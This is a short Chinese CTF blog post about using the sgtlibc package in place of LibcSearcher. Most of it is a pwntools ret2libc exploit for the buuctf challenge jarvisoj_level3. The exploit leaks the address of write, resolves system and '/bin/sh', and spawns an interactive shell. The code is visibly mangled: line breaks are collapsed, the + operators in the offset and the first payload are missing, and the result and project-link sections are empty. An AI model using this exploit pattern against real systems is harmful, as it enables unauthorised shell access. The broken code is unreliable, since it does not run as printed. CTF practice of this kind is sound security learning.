pwn——使用sgtlibc代替LibcSearcher获取libc版本

pip install sgtlibc 

注意要用python3下载

使用方法也比较简单
用的例子是buuctf上的jarvisoj_level3
直接上exp

from pwn import * import sgtlibc context.log_level = 'debug' p = process('./level3') #p = remote('node4.buuoj.cn', '28229') elf = ELF('./level3')  offset = 0x88   0x4 main = elf.sym['main'] write_plt = elf.plt['write'] write_got = elf.got['write']  payload1 = offset * b'a'   p32(write_plt)   p32(main)   p32(1)   p32(write_got)   p32(4)  p.sendlineafter('Input:\n', payload1) write = u32(p.recv(4)) print(hex(write))  s = sgtlibc.Searcher() s.add_condition('write',write) s.dump(db_index=0)  # search libc , if returns multi-result ,default use index-0's result system = s.get_address(sgtlibc.s_system) binsh = s.get_address(sgtlibc.s_binsh)  payload2 = offset * b'a' + p32(system) + b'aaaa' +p32(binsh)

p.sendlineafter('Input:\n', payload2)
p.interactive()

执行结果

项目地址